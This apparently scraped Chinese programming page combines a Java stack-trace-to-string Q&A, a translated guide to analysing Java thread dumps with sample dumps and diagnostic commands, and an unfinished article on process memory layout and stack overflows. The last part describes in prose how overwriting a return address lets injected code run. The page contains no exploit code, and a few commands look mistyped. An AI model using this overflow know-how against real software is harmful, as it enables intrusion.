精华内容
下载资源
问答
  • 怎样堆栈追踪信息转换为字符串 问题 将Throwable.getStackTrace()的结果转换为一个字符串来来描述堆栈信息的最简单的方法是什么 最佳答案 可以用下面的方法将异常堆栈信息转换为字符串类型。该类在Apache commons-...

    Java 必知必会 第 23 篇
    how-can-i-convert-a-stack-trace-to-a-string

    怎样将堆栈追踪信息转换为字符串

    问题

    Throwable.getStackTrace()的结果转换为一个字符串来来描述堆栈信息的最简单的方法是什么

    最佳答案

    可以用下面的方法将异常堆栈信息转换为字符串类型。该类在Apache commons-lang-2.2.jar中可以找到:
    org.apache.commons.lang.exception.ExceptionUtils.getStackTrace(Throwable)

    答案二

    Throwable.printStackTrace(PrintWriter pw)可以输出堆栈信息:

    StringWriter sw = new StringWriter();
    PrintWriter pw = new PrintWriter(sw);
    t.printStackTrace(pw);
    sw.toString(); // stack trace as a string
    

    答案三

    StringWriter sw = new StringWriter();
    e.printStackTrace(new PrintWriter(sw));
    String exceptionAsString = sw.toString();
    

    答案四

    public String stackTraceToString(Throwable e) {
        StringBuilder sb = new StringBuilder();
        for (StackTraceElement element : e.getStackTrace()) {
            sb.append(element.toString());
            sb.append("\n");
        }
        return sb.toString();
    }
    
    展开全文
  • 怎样分析java线程堆栈日志

    千次阅读 2019-02-21 10:23:36
    ,他们的类型,怎么被创建的,怎样管理它们,你怎样从正在运行的应用中  dump threads ,最后你可以怎样分析它以及确定瓶颈或者是阻塞线程。本文来自于 JAVA 应用程序长期调试经验的结果。 Java and Thread ...

    注: 该文章的原文是由 Tae Jin Gu 编写,原文地址为 How to Analyze Java Thread Dumps

    当有障碍,或者是一个基于 JAVA 的 WEB 应用运行的比预期慢的时候,我们需要使用 thread dumps。如果对于你来说,thread dumps 是非常复杂的,这篇文章或许能对你有所帮助。在这里我将解释在 JAVA 中什么是 threads,他们的类型,怎么被创建的,怎样管理它们,你怎样从正在运行的应用中 dump threads,最后你可以怎样分析它以及确定瓶颈或者是阻塞线程。本文来自于 JAVA 应用程序长期调试经验的结果。

    Java and Thread

    一个 web 服务器使用几十到几百个线程来处理大量并发用户,如果一个或多个线程使用相同的资源,线程之间的竞争就不可避免了,并且有时候可能会发生死锁。

    Thread contention 是一个线程等待锁的一个状态,这个锁被另外一个线程持有,等待被释放,不同的线程频繁访问 WEB 应用的共享资源。例如,记录一条日志,线程尝试记录日志之前必须先获取锁来访问共享资源。

    死锁是线程竞争的一个特殊状态,一个或是多个线程在等待其他线程完成它们的任务为了完成它们自己的任务。

    线程竞争会引起各种不同的问题,为了分析这些这些问题,你需要使用 dump threadsdump threads 能给你提供每个线程的精确状态信息。

    JAVA 线程的背景资料

    线程同步

    一个线程可以与其他线程在同一时间内被处理。为了确保一致性,当多个线程试图使用共享资源的时候,通过使用 hread synchronization 在同一时间内,应该只有一个线程能访问共享资源

    JAVA 中的线程同步可以使用监视器,每个 JAVA 对象都有一个单独的监视器,这个监视器仅仅只能被一个线程拥有,对于拥有一个由不同的线程所拥有的监视器的线程,确实需要在队列中等待,以便其他线程释放它的监视器。

    线程状态

    为了分析一个 thread dump 文件,你需要知道线程状态。线程情况在 java.lang.Thread.State 中阐明了。

    图1:线程状态

    • NEW:线程刚被创建,但是还没有被处理。
    • RUNNABLE:线程占用了 CPU 并且处理了一个任务。(或是是在等待状态由于操作系统的资源分配)
    • BLOCKED:该线程正在等待另外的不同的线程释放锁,以便获取监视器锁
    • WAITING:该线程正在等待,通过使用了 wait, join 或者是 park 方法
    • TIMED_WAITING:该线程正在等待,通过使用了 sleep, wait, join 或者是 park 方法。(这个与 WAITING 不同是通过方法参数指定了最大等待时间,WAITING 可以通过时间或者是外部的变化解除)

    线程类型

    JAVA 的线程类型分为以下两种:

    1. daemon threads;
    2. 非 daemon threads。

    Daemon threads 将停止工作当没有其他任何非 Daemon threads 时。即使你不创建任何线程,JAVA 应用也将默认创建几个线程。他们大部分是 daemon threads。主要用于任务处理比如内存回收或者是 JMX

    一个运行 static void main(String[] args) 方法的线程被作为非 daemon threads 线程创建,并且当该线程停止工作的时候,所有任何其他 daemon threads 也将停止工作。(这个运行在 main 方法中的线程被称为 VM thread in HotSpot VM

    获取一个 Thread Dump

    我们将介绍三种最常用的方法,记住,有非常多的其他方法可以获取thread dump,一个 thread dump 仅仅只能在测量的时候显示线程状态。因此为了看得线程状态的变化,建议每隔5秒提取5到10次的记录。

    使用 jstack 获取 Thread Dump

    在 JDK1.6 或者是更高的版本中,通过使用 jstack, 在 MS Windows 平台上可能可以获取到 Thread Dump

    通过使用 jps 检查当前正在运行的JAVA进程的 PID。

    [user@linux ~]$ jps -v
    25780 RemoteTestRunner -Dfile.encoding=UTF-8
    25590 sub.rmi.registry.RegistryImpl 2999 -Dapplication.home=/home1/user/java/jdk.1.6.0_24 -Xms8m
    26300 sun.tools.jps.Jps -mlvV -Dapplication.home=/home1/user/java/jdk.1.6.0_24 -Xms8m
    

    使用明确的 PID 作为 jstack 的参数来获取 thread dumps

    [user@linux ~]$ jstack -f 5824
    

    使用 jVisualVM 生成 Thread Dump

    通过使用一个程序 jVisualVM 来生成 Thread Dump

    如上图在左侧的任务表示当前正在运行的进程列表,点击你想要信息的那个线程,然后选择 thread tab 页来检查实时的线程信息。点击右边的 Thread Dump 按钮来获取 thread dump 文件。

    在 Linux 控制台生成

    通过使用 ps -ef 命令来获取当前正在运行的 JAVA 应用程序的进程 ID。

    [user@linux ~]$ ps - ef | grep java
    user      2477          1    0 Dec23 ?         00:10:45 ...
    user    25780 25361   0 15:02 pts/3    00:00:02 ./jstatd -J -Djava.security.policy=jstatd.all.policy -p 2999
    user    26335 25361   0 15:49 pts/3    00:00:00 grep java
    

    使用精确的 pid 作为 kill –SIGQUIT(3) 的参数来获取 thread dump

    Thread Dump 文件的 线程信息

    "pool-1-thread-13" prio=6 tid=0x000000000729a000 nid=0x2fb4 runnable [0x0000000007f0f000] java.lang.Thread.State: RUNNABLE
                  at java.net.SocketInputStream.socketRead0(Native Method)
    
                  at java.net.SocketInputStream.read(SocketInputStream.java:129)
    
                  at sun.nio.cs.StreamDecoder.readBytes(StreamDecoder.java:264)
    
                  at sun.nio.cs.StreamDecoder.implRead(StreamDecoder.java:306)
    
                  at sun.nio.cs.StreamDecoder.read(StreamDecoder.java:158)
    
                  - locked <0x0000000780b7e688> (a java.io.InputStreamReader)
    
                  at java.io.InputStreamReader.read(InputStreamReader.java:167)
    
                  at java.io.BufferedReader.fill(BufferedReader.java:136)
    
                  at java.io.BufferedReader.readLine(BufferedReader.java:299)
    
                  - locked <0x0000000780b7e688> (a java.io.InputStreamReader)
    
                  at java.io.BufferedReader.readLine(BufferedReader.java:362)
    
    • 线程名字:当使用 Java.lang.Thread 类生成一个线程的时候,该线程将被命名为 Thread-(Number)。但是当使用java.util.concurrent.ThreadFactory 类的时候,它将被命名为 pool-(number)-thread-(number)
    • 优先级:代表该线程的优先级
    • 线程 ID:代表该线程的唯一 ID,(一些有用的信息,比如该线程的 CPU 使用率或者是内存使用率,都能通过该线程 ID 获取到)。
    • 线程状态:代表该线程当前的状态
    • 线程调用栈:代表该线程的调用栈信息

    Thread Dump Patterns by Type When Unable to Obtain a Lock (BLOCKED)

    这个应用程序的整体性能下降是因为一个线程占用了锁阻止了其他线程获得锁,在下面的示例中,BLOCKED_TEST pool-1-thread-1 线程占用了 <0x0000000780a000b0> 锁,然而 BLOCKED_TEST pool-1-thread-2 和 BLOCKED_TEST pool-1-thread-3 threads 正在等待获取锁。

     "BLOCKED_TEST pool-1-thread-1" prio=6 tid=0x0000000006904800 nid=0x28f4 runnable [0x000000000785f000]
       java.lang.Thread.State: RUNNABLE
                    at java.io.FileOutputStream.writeBytes(Native Method)
                    at java.io.FileOutputStream.write(FileOutputStream.java:282)
                    at java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:65)
                    at java.io.BufferedOutputStream.flush(BufferedOutputStream.java:123)
                    - locked <0x0000000780a31778> (a java.io.BufferedOutputStream)
                    at java.io.PrintStream.write(PrintStream.java:432)
                    - locked <0x0000000780a04118> (a java.io.PrintStream)
                    at sun.nio.cs.StreamEncoder.writeBytes(StreamEncoder.java:202)
                    at sun.nio.cs.StreamEncoder.implFlushBuffer(StreamEncoder.java:272)
                    at sun.nio.cs.StreamEncoder.flushBuffer(StreamEncoder.java:85)
                    - locked <0x0000000780a040c0> (a java.io.OutputStreamWriter)
                    at java.io.OutputStreamWriter.flushBuffer(OutputStreamWriter.java:168)
                    at java.io.PrintStream.newLine(PrintStream.java:496)
                    - locked <0x0000000780a04118> (a java.io.PrintStream)
                    at java.io.PrintStream.println(PrintStream.java:687)
                    - locked <0x0000000780a04118> (a java.io.PrintStream)
                    at com.nbp.theplatform.threaddump.ThreadBlockedState.monitorLock(ThreadBlockedState.java:44)
                    - locked <0x0000000780a000b0> (a com.nbp.theplatform.threaddump.ThreadBlockedState)
                    at com.nbp.theplatform.threaddump.ThreadBlockedState$1.run(ThreadBlockedState.java:7)
                    at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
                    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
                    at java.lang.Thread.run(Thread.java:662)
    
       Locked ownable synchronizers:
                    - <0x0000000780a31758> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)
    
    "BLOCKED_TEST pool-1-thread-2" prio=6 tid=0x0000000007673800 nid=0x260c waiting for monitor entry [0x0000000008abf000]
       java.lang.Thread.State: BLOCKED (on object monitor)
                    at com.nbp.theplatform.threaddump.ThreadBlockedState.monitorLock(ThreadBlockedState.java:43)
                    - waiting to lock <0x0000000780a000b0> (a com.nbp.theplatform.threaddump.ThreadBlockedState)
                    at com.nbp.theplatform.threaddump.ThreadBlockedState\$2.run(ThreadBlockedState.java:26)
                    at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
                    at java.util.concurrent.ThreadPoolExecutor\$Worker.run(ThreadPoolExecutor.java:908)
                    at java.lang.Thread.run(Thread.java:662)
    
       Locked ownable synchronizers:
                    - <0x0000000780b0c6a0> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)
    
    "BLOCKED_TEST pool-1-thread-3" prio=6 tid=0x00000000074f5800 nid=0x1994 waiting for monitor entry [0x0000000008bbf000]
       java.lang.Thread.State: BLOCKED (on object monitor)
                    at com.nbp.theplatform.threaddump.ThreadBlockedState.monitorLock(ThreadBlockedState.java:42)
                    - waiting to lock <0x0000000780a000b0> (a com.nbp.theplatform.threaddump.ThreadBlockedState)
                    at com.nbp.theplatform.threaddump.ThreadBlockedState\$3.run(ThreadBlockedState.java:34)
                    at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886
                    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
                    at java.lang.Thread.run(Thread.java:662)
    
       Locked ownable synchronizers:
                    - <0x0000000780b0e1b8> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)
    
    

    当在死锁状态

    这是当线程 A 需要获取线程 B 的锁来继续它的任务,然而线程 B 也需要获取线程 A 的锁来继续它的任务的时候发生的。在thread dump 中,你能看到 DEADLOCK_TEST-1 线程持有 0x00000007d58f5e48 锁,并且尝试获取 0x00000007d58f5e60锁。你也能看到 DEADLOCK_TEST-2 线程持有 0x00000007d58f5e60,并且尝试获取 0x00000007d58f5e78,同时 DEADLOCK_TEST-3 线程持有 0x00000007d58f5e78,并且在尝试获取 0x00000007d58f5e48 锁,如你所见,每个线程都在等待获取另外一个线程的锁,这状态将不会被改变直到一个线程丢弃了它的锁。

    "DEADLOCK_TEST-1" daemon prio=6 tid=0x000000000690f800 nid=0x1820 waiting for monitor entry [0x000000000805f000]
       java.lang.Thread.State: BLOCKED (on object monitor)
                    at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.goMonitorDeadlock(ThreadDeadLockState.java:197)
                    - waiting to lock <0x00000007d58f5e60> (a com.nbp.theplatform.threaddump.ThreadDeadLockState$Monitor)
                    at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.monitorOurLock(ThreadDeadLockState.java:182)
                    - locked <0x00000007d58f5e48> (a com.nbp.theplatform.threaddump.ThreadDeadLockState$Monitor)
                    at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.run(ThreadDeadLockState.java:135)
    
       Locked ownable synchronizers:
                    - None
    
    "DEADLOCK_TEST-2" daemon prio=6 tid=0x0000000006858800 nid=0x17b8 waiting for monitor entry [0x000000000815f000]
       java.lang.Thread.State: BLOCKED (on object monitor)
                    at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.goMonitorDeadlock(ThreadDeadLockState.java:197)
                    - waiting to lock <0x00000007d58f5e78> (a com.nbp.theplatform.threaddump.ThreadDeadLockState$Monitor)
                    at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.monitorOurLock(ThreadDeadLockState.java:182)
                    - locked <0x00000007d58f5e60> (a com.nbp.theplatform.threaddump.ThreadDeadLockState$Monitor)
                    at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.run(ThreadDeadLockState.java:135)
    
       Locked ownable synchronizers:
                    - None
    
    "DEADLOCK_TEST-3" daemon prio=6 tid=0x0000000006859000 nid=0x25dc waiting for monitor entry [0x000000000825f000]
       java.lang.Thread.State: BLOCKED (on object monitor)
                    at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.goMonitorDeadlock(ThreadDeadLockState.java:197)
                    - waiting to lock <0x00000007d58f5e48> (a com.nbp.theplatform.threaddump.ThreadDeadLockState$Monitor)
                    at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.monitorOurLock(ThreadDeadLockState.java:182)
                    - locked <0x00000007d58f5e78> (a com.nbp.theplatform.threaddump.ThreadDeadLockState$Monitor)
                    at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.run(ThreadDeadLockState.java:135)
    
       Locked ownable synchronizers:
                    - None
    

    当持续等待从远处服务器接收消息

    该线程是正常的,因为它的状态为 RUNNABLE,尽管如此,当你按照时间顺序排列 Thread Dump,你会发现 socketReadThread 线程正在无限等待读取 socket。

    "socketReadThread" prio=6 tid=0x0000000006a0d800 nid=0x1b40 runnable [0x00000000089ef000]
       java.lang.Thread.State: RUNNABLE
                    at java.net.SocketInputStream.socketRead0(Native Method)
                    at java.net.SocketInputStream.read(SocketInputStream.java:129)
                    at sun.nio.cs.StreamDecoder.readBytes(StreamDecoder.java:264)
                    at sun.nio.cs.StreamDecoder.implRead(StreamDecoder.java:306)
                    at sun.nio.cs.StreamDecoder.read(StreamDecoder.java:158)
                    - locked <0x00000007d78a2230> (a java.io.InputStreamReader)
                    at sun.nio.cs.StreamDecoder.read0(StreamDecoder.java:107)
                    - locked <0x00000007d78a2230> (a java.io.InputStreamReader)
                    at sun.nio.cs.StreamDecoder.read(StreamDecoder.java:93)
                    at java.io.InputStreamReader.read(InputStreamReader.java:151)
                    at com.nbp.theplatform.threaddump.ThreadSocketReadState$1.run(ThreadSocketReadState.java:27)
                    at java.lang.Thread.run(Thread.java:662)
    

    当 Waiting 时

    线程保持在 Waiting 状态,在 Thread Dump 中,IoWaitThread 线程保持等待状态来从 LinkedBlockingQueue 接收消息。如果 LinkedBlockingQueue 一直没有消息,该线程的状态将不会改变。

     "IoWaitThread" prio=6 tid=0x0000000007334800 nid=0x2b3c waiting on condition [0x000000000893f000]
       java.lang.Thread.State: WAITING (parking)
                    at sun.misc.Unsafe.park(Native Method)
                    - parking to wait for  <0x00000007d5c45850> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
                    at java.util.concurrent.locks.LockSupport.park(LockSupport.java:156)
                    at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1987)
                    at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:440)
                    at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:629)
                    at com.nbp.theplatform.threaddump.ThreadIoWaitState$IoWaitHandler2.run(ThreadIoWaitState.java:89)
                    at java.lang.Thread.run(Thread.java:662) 
    
    

    当线程的资源不能正常的被组织

    不必要的线程会堆积起来,当线程的资源不能被正常的组织的话,如果这个发送了,建议监控线程组织过程或检查线程终止的条件。

    此处输入图片的描述

    使用 Thread Dump 怎样解决问题

    示例1:当 CPU 利用率高的异常

    1. 提取获取最高 CPU 使用率的线程。
    [user@linux ~]$ ps -mo pid.lwp.stime.time.cpu -C java
    
         PID         LWP          STIME                  TIME        %CPU
    10029               -         Dec07          00:02:02           99.5
             -       10039        Dec07          00:00:00              0.1
             -       10040        Dec07          00:00:00           95.5
    

    从这个应用中,发现使用 CPU 最高的线程。

    获取使用 CPU 最多的轻量级进程(LWP),把它的唯一标示码 (10039) 转换成十六进制 (0x2737)。

    1. 然后获取进程的 Thread Dump,检查进程的动作。

    通过 PID 10029 来提取应用程序的 Thread Dump,然后通过一个 nid 0x2737 来找到这个线程。

    "NioProcessor-2" prio=10 tid=0x0a8d2800 nid=0x2737 runnable [0x49aa5000]
    java.lang.Thread.State: RUNNABLE
                    at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
                    at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210)
                    at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65)
                    at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69)
                    - locked <0x74c52678> (a sun.nio.ch.Util$1)
                    - locked <0x74c52668> (a java.util.Collections$UnmodifiableSet)
                    - locked <0x74c501b0> (a sun.nio.ch.EPollSelectorImpl)
                    at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80)
                    at external.org.apache.mina.transport.socket.nio.NioProcessor.select(NioProcessor.java:65)
                    at external.org.apache.mina.common.AbstractPollingIoProcessor$Worker.run(AbstractPollingIoProcessor.java:708)
                    at external.org.apache.mina.util.NamePreservingRunnable.run(NamePreservingRunnable.java:51)
                    at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
                    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
                    at java.lang.Thread.run(Thread.java:662)
    

    每个小时的几个时间提取 Thread Dump,然后检查线程的状态来确定问题。

    示例2:当进程的性能异常的慢

    多次获得 thread dumps 后,找出 BLOCKED 状态的线程列表。

    " DB-Processor-13" daemon prio=5 tid=0x003edf98 nid=0xca waiting for monitor entry [0x000000000825f000]
    java.lang.Thread.State: BLOCKED (on object monitor)
                    at beans.ConnectionPool.getConnection(ConnectionPool.java:102)
                    - waiting to lock <0xe0375410> (a beans.ConnectionPool)
                    at beans.cus.ServiceCnt.getTodayCount(ServiceCnt.java:111)
                    at beans.cus.ServiceCnt.insertCount(ServiceCnt.java:43)
    
    "DB-Processor-14" daemon prio=5 tid=0x003edf98 nid=0xca waiting for monitor entry [0x000000000825f020]
    java.lang.Thread.State: BLOCKED (on object monitor)
                    at beans.ConnectionPool.getConnection(ConnectionPool.java:102)
                    - waiting to lock <0xe0375410> (a beans.ConnectionPool)
                    at beans.cus.ServiceCnt.getTodayCount(ServiceCnt.java:111)
                    at beans.cus.ServiceCnt.insertCount(ServiceCnt.java:43)
    
    " DB-Processor-3" daemon prio=5 tid=0x00928248 nid=0x8b waiting for monitor entry [0x000000000825d080]
    java.lang.Thread.State: RUNNABLE
                    at oracle.jdbc.driver.OracleConnection.isClosed(OracleConnection.java:570)
                    - waiting to lock <0xe03ba2e0> (a oracle.jdbc.driver.OracleConnection)
                    at beans.ConnectionPool.getConnection(ConnectionPool.java:112)
                    - locked <0xe0386580> (a java.util.Vector)
                    - locked <0xe0375410> (a beans.ConnectionPool)
                    at beans.cus.Cue_1700c.GetNationList(Cue_1700c.java:66)
                    at org.apache.jsp.cue_1700c_jsp._jspService(cue_1700c_jsp.java:120)
    

    在多次获取 thread dumps 后,取得 BLOCKED 状态的线程列表。

    如果线程是 BLOCKED 的,提取线程尝试获取的相关联的锁。

    通过 thread dumps,你能确定线程状态停止在 BLOCKED,因为锁 <0xe0375410> 不能被获取到,这个问题可以通过分析当前夯住的线程的 stack trace 来解决。

    使用 DBMS 的时候,为什么以上的范例经常出现再应用程序中,这有两个原因。第一个原因是配置不当。尽管事实是该线程仍然在工作,它们不能展示它们最好的性能,因为 DBCP 的配置文件没有配置正确。如果你多次提取 thread dumps 并且对比它们,你将经常看到被阻塞的线程之前处于不同的状态。

    第二个原因是不正常的连接。当与 DBMS 的连接保持在不正常的状态,线程将等待直到超时。在这个例子中,通过多次提取 thread dumps 并对比它们,你会发现与 DBMS 相关的线程仍然在阻塞状态。通过适当改变一些值,比如超时时间,你可以缩短问题发生的时间。

    为简单的 Thread Dump 命名线程编码

    当使用 java.lang.Thread 对象创建线程的时候,线程被命名为 Thread-(Number) 。当使用 java.util.concurrent.DefaultThreadFactory 对象创建线程的时候,线程被命名为 named pool-(Number)-thread-(Number)。当为应用程序分析成百上千的线程的时候,如果线程依然用它们默认的名字,分析它们将变得非常困难,因为这是非常难以辨别这些线程来分析的。

    因此,你被建议开发一个命名线程的规则当一个新线程被创建的时候。

    当你使用 java.lang.Thread 创建线程,你可以通过创建参数给该线程定义个约定俗成的名字。

    public Thread(Runnable target, String name);
    public Thread(ThreadGroup group, String name);
    public Thread(ThreadGroup group, Runnable target, String name);
    public Thread(ThreadGroup group, Runnable target, String name, long stackSize);
    

    当你使用 java.util.concurrent.ThreadFactory 创建线程的时候,你可以通过生成你自己的线程工厂来命名它,如果你不需要特别的功能性,你可以使用 MyThreadFactory 作为以下描述:

    import java.util.concurrent.ConcurrentHashMap;
    import java.util.concurrent.ThreadFactory;
    import java.util.concurrent.atomic.AtomicInteger;
    
    public class MyThreadFactory implements ThreadFactory {
      private static final ConcurrentHashMap<String, AtomicInteger> POOL_NUMBER =
                                                           new ConcurrentHashMap<String, AtomicInteger>();
      private final ThreadGroup group;
      private final AtomicInteger threadNumber = new AtomicInteger(1);
      private final String namePrefix;
    
      public MyThreadFactory(String threadPoolName) {
    
          if (threadPoolName == null) {
              throw new NullPointerException("threadPoolName");
          }
                POOL_NUMBER.putIfAbsent(threadPoolName, new AtomicInteger());
    
          SecurityManager securityManager = System.getSecurityManager();
          group = (securityManager != null) ? securityManager.getThreadGroup() :
                                                        Thread.currentThread().getThreadGroup();
    
          AtomicInteger poolCount = POOL_NUMBER.get(threadPoolName);
    
          if (poolCount == null) {
                namePrefix = threadPoolName + " pool-00-thread-";
          } else {
                namePrefix = threadPoolName + " pool-" + poolCount.getAndIncrement() + "-thread-";
          }
      }
    
      public Thread newThread(Runnable runnable) {
          Thread thread = new Thread(group, runnable, namePrefix + threadNumber.getAndIncrement(), 0);
    
          if (thread.isDaemon()) {
                thread.setDaemon(false);
          }
    
          if (thread.getPriority() != Thread.NORM_PRIORITY) {
                thread.setPriority(Thread.NORM_PRIORITY);
          }
    
          return thread;
      }
    }
    

    使用 MBean 获取更多的细节信息

    你可以使用 MBean 来获取 ThreadInfo 对象。你也可以获取更加多通过 thread dumps 不能获取的信息。通过使用 ThreadInfo

    ThreadMXBean mxBean = ManagementFactory.getThreadMXBean();
    long[] threadIds = mxBean.getAllThreadIds();
    ThreadInfo[] threadInfos =
                    mxBean.getThreadInfo(threadIds);
    
    for (ThreadInfo threadInfo : threadInfos) {
      System.out.println(
          threadInfo.getThreadName());
      System.out.println(
          threadInfo.getBlockedCount());
      System.out.println(
          threadInfo.getBlockedTime());
      System.out.println(
          threadInfo.getWaitedCount());
      System.out.println(
          threadInfo.getWaitedTime());
    }
    

    你可以使用方法 ThreadInfo 来提取阻塞线程或者是等待线程花费的时间。并利用这一点,你也可以得到那些处于非活动状态的时间异常长的线程列表。

    总结

    在本文中,我关注的是为开发人员提供了大量的多线程编程经验,本素材可能是常识。对于经验较少的开发人员来说,我觉得我直接跳过 thread dumps,不提供足够的关于 thread activities 的背景知识。这是由于我的知识缺乏,所以我不能很清晰的简洁明了的解释 thread activities。我衷心的希望本文能给很多开发人员提供帮助。

    展开全文
  • 怎样破坏程序的堆栈

    千次阅读 2014-10-15 20:27:50
    为什么使用堆栈?   现代计算机被设计成能够理解人们头脑中的高级语言。 在使用高级语言构造程序时最重要的技术是过程(procedure)和函数(function)。 从这一点来看, 一个过程调用可以象跳转(jump)命令那样改变...

    为什么使用堆栈? 
      现代计算机被设计成能够理解人们头脑中的高级语言。 在使用高级语言构造程序时最重要的技术是过程(procedure)和函数(function)。 从这一点来看, 一个过程调用可以象跳转(jump)命令那样改变程序的控制流程, 但是与跳转不同的是, 当工作完成时, 函数把控制权返回给调用之后的语句或指令。这种高级抽象实现起来要靠堆栈的帮助。 堆栈也用于给函数中使用的局部变量动态分配空间, 同样给函数传递参数和函数返 回值也要用到堆栈。 
      堆栈区域 
      堆栈是一块保存数据的连续内存。 一个名为堆栈指针(SP)的寄存器指向堆栈的顶部。堆栈的底部在一个固定的地址。 堆栈的大小在运行时由内核动态地调整。 CPU实现指令 PUSH和POP, 向堆栈中添加元素和从中移去元素。堆栈由逻辑堆栈帧组成。 当调用函数时逻辑堆栈帧被压入栈中, 当函数返回时逻辑 堆栈帧被从栈中弹出。 堆栈帧包括函数的参数, 函数地局部变量,以及恢复前一个堆栈 帧所需要的数据, 其中包括在函数调用时指令指针(IP)的值。 堆栈既可以向下增长(向内存低地址)也可以向上增长,这依赖于具体的实现。 在我 们的例子中, 堆栈是向下增长的。 这是很多计算机的实现方式, 包括Intel, Motorola,SPARC和MIPS处理器。 堆栈指针(SP)也是依赖于具体实现的。 它可以指向堆栈的最后地址, 或者指向堆栈之后的下一个空闲可用地址。在我们的讨论当中, SP指向堆栈的最后地址。 除了堆栈指针(SP指向堆栈顶部的的低地址)之外, 为了使用方便还有指向帧内固定地址的指针叫做帧指针(FP)。 有些文章把它叫做局部基指针(LB-local base pointer)。 从理论上来说,局部变量可以用SP加偏移量来引用。 然而, 当有字被压栈和出栈后, 这 些偏移量就变了。 尽管在某些情况下编译器能够跟踪栈中的字操作,由此可以修正偏移 量, 但是在某些情况下不能。 而且在所有情况下, 要引入可观的管理开销。 而且在有些 机器上, 比如Intel处理器,由SP加偏移量访问一个变量需要多条指令才能实现。 因此, 许多编译器使用第二个寄存器, FP, 对于局部变量和函数参数都可以引用,因为它们到FP的距离不会受到PUSH和POP操作的影响。 在Intel CPU中, BP(EBP)用于这 个目的。 在MotorolaCPU中, 除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP。 考虑到我们堆栈的增长方向, 从FP的位置开始计算,函数参数的偏移量是正值, 而局部 变量的偏移量是负值。 当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以 恢复)。然后它把SP复制到FP, 创建新的FP, 把SP向前移动为局部变量保留空间。 这称为 例程的序幕(prolog)工作。 当例程退出时,堆栈必须被清除干净, 这称为例程的收尾 (epilog)工作。 Intel的ENTER和LEAVE指令,Motorola的LINK和UNLINK指令, 都可以用于 有效地序幕和收尾工作。 
      堆栈溢出 
      堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,导致数据越界,结果覆盖了老的堆栈数据。 或者解释为 在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址,这样当过程返回时,程序就转而开始执行这段自编的代码了.

    linux中一个进程的内存布局如下图所示:

                  -----------------
    高地址 | | ---> 命令行参数和环境变量 (只读)
    -----------------
    | 栈 |
    |- - - - - - - -|
    | | | |
    | \ / |
    | |
    | |
    | / \ |
    | | | |
    |- - - - - - - -|
    | 堆 |
    |---------------|
    | 未初始化的变量|
    | (bss) | ---> 由 exec 初始化为零
    |---------------|
    | 初始化后的变量| \
    |---------------| |
    | text(数据区)| | 由 exec 从程序中读取
         | | /
    |---------------|
    低地址    | 代码区 |
    |---------------|
    其中堆向上增长,栈向下增长。

    一个由C/C++编译的程序占用的内存布局为(低地址->高地址):
    1、程序代码区        存放函数体的二进制代码。
    2、文字常量区         常量字符串就是放在这里的。 程序结束后由系统释放
    3、全局区(静态区)(static)   
    全局变量和静态变量的存储是放在一块的。
    初始化的全局变量和静态变量
    未初始化的全局变量和未初始化的静态变量(BSS段,这一名称来源于早期汇编程序的一个操作符,意思是“block started by symbol(由符号开始的块)”,未初始化的全局变量和静态变量存放在这里。)
    程序结束后有系统释放。
    4、堆区(heap)      一般由程序员分配释放, 若程序员不释放,程序结束时可能由OS回收 。
    5、栈区(stack)     由编译器自动分配释放 ,存放函数的参数值,局部变量的值等。其操作方式类似于数据结构中的栈。
    6、命令行参数和环境变量


    进栈出栈过程:


    在函数调用时,第一个进栈的是主函数中后的下一条指令(函数调用语句的下一条可执行语句)的地址,然后是函数的各个参数,在大多数的C编译器中,参数是由右往左入栈的,然后是函数中的局部变量。注意静态变量是不入栈的。
    当本次函数调用结束后,局部变量先出栈,然后是参数,最后栈顶指针指向最开始存的地址,也就是主函数中的下一条指令,程序由该点继续运行。

    数组越界写入就是破坏堆栈的原因之一:
    1、函数入参在栈底(内存高位)附近,函数的返回地址也在附近
    2、数组(函数中的自动变量)是从内存低位向高位存放的,如果越界写入,就会向上破坏高位内存中保存的数据(可能是前面的局部变量),当越界写入内容足够多时,就会破坏栈底保存的函数的返回地址,直接导致函数返回时发生crash。


    // 下面的一段是windows上的,我未做分析

    进程空间
    Win32的可执行文件在加载后,系统将为它建立一个它自己的虚拟内存空间,即进程空间,其容量达4G(64位系统中将更大,但我想64位的程序应该不叫做Win32程序了吧?)。这4G的空间划分为了几个区域,对于win98和win2000是不尽相同的。
                               Window2000              Windows98
